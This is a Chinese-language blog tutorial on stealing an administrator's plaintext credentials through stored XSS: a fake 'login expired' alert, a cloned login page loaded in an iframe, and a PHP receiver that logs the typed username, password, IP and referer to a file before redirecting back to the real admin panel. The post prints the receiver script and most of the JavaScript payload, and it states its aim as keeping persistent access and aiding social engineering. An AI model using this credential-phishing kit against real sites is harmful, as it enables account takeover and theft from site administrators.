【超详细入门教程】通过xss获取管理员明文账号密码

分类: 日博365体育 作者: admin 时间: 2025-11-17 01:00:54 阅读: 9630
【超详细入门教程】通过xss获取管理员明文账号密码

0x00 前言

本文所讲的知识点很早就有,只是因为最近小伙伴讨论的比较多,而且很多小伙伴不太明确流程,故有了此文,大佬请忽略

xss大家都不陌生,最常用的就是打管理员的cookie然后拿到后台权限。

但是在实战过程中会碰到很多因素导致无法获得权限或者权限维持困难,下面列举了三点。

随着开发者安全意识的提高,现在基本上都是开了httponly了,也就是说xss无法读取到cookie了(除了包含登录信息外的cookie一般还是可以获取的),这是其一。

cookie具有时效性,比如说获取到的cookie过期了,而管理员又没有进行第二次登录并触发的情况下,你的权限就掉了,这是其二。

xss漏洞已修复,并且之前的代码已被删除或者无法触发(比如说xss在一个留言处,当后面有很多留言时,你的代码可能就到下一页去了,管理员也一般不会去翻,也就不会触发),这是其三

所以本篇文章就来介绍通过xss来获取管理员的账号密码,实现权限的维持,而且获取了账号密码,用途还有很多,比如说社工。

0x01 流程

打字描述不太直观,直接上一个流程图

0x02 准备工作

根据流程图中所展示,我们需要一个钓鱼页面(高仿原登录页面)和一个数据接收文件。为了简单明了的演示,这里准备了以下文件:

代码语言:javascript复制admin_login.html //原管理登录页面

admin_index.html //原管理后台页面

fish.html //我们高仿的登录页面,也就是钓鱼页

get.php //数据接收文件

xss.js //xss的payload代码量很小,我在这里直接贴出来

代码语言:javascript复制//admin_login.html 原管理登录页面

管理员登录

用户名:


密码:



代码语言:javascript复制//admin_index.html 原管理后台页面

管理员后台

这里是管理员后台,你已成功登录


最新留言

  • 说书人长得好帅
  • 楼上说得对

代码语言:javascript复制//fish.html 我们仿的登录页面,也就是钓鱼页

管理员登录

//这里发送给接收程序

用户名:


密码:



代码语言:javascript复制//get.php 数据接收文件

$line = '----------------------------------'."\r\n";

$user = '账号:'.$_POST['username']."\r\n";

$pwd = '密码:'.$_POST['password']."\r\n";

$ip = 'IP:'.getenv('REMOTE_ADDR')."\r\n";

$url = '钓鱼模板:'.getenv('HTTP_REFERER')."\r\n";

$date ='日期:'. date("Y-m-d")."\r\n";

$result = $line.$url.$user.$pwd.$ip.$date;

file_put_contents('good.txt',$result, FILE_APPEND);

header("Location: http://127.0.0.1/admin_index.html");

?>代码语言:javascript复制//xss.js xss的payload

setTimeout(function() {

alert("登陆过期,请重新登陆!");

parent.document.writeln("");

setTimeout(function() {

document.getElementsByTagName("body")[0].setAttribute("style", "margin: 2px;");

},

100);

setTimeout(function() {

parent.document.getElementsByTagName("body")[0].setAttribute("style", "margin: 0px;");

},

100);

},

600000);0x03 本地演示

首先管理员登录后台后,xss触发了,弹窗提示登录过期,需要重新登录

然后出来的是iframe的钓鱼页面,注意地址没有跳转到我们的钓鱼页面url

管理员输入完账号密码后,又跳转回真实的后台页面,由于登录信息并没有失效,所以刚刚的登录仿真度极高。于此同时,我们的接收程序已经将管理员账号密码保存到了我们的钓鱼服务器上

0x04 结尾

xss.js的第14行的600000指的是每10分钟执行一次,符合一般的过期规则,大家也可以自行修改。由于仿真度极高,不易察觉,所以权限维持率高。

----------

扫一扫关注我们

相关推荐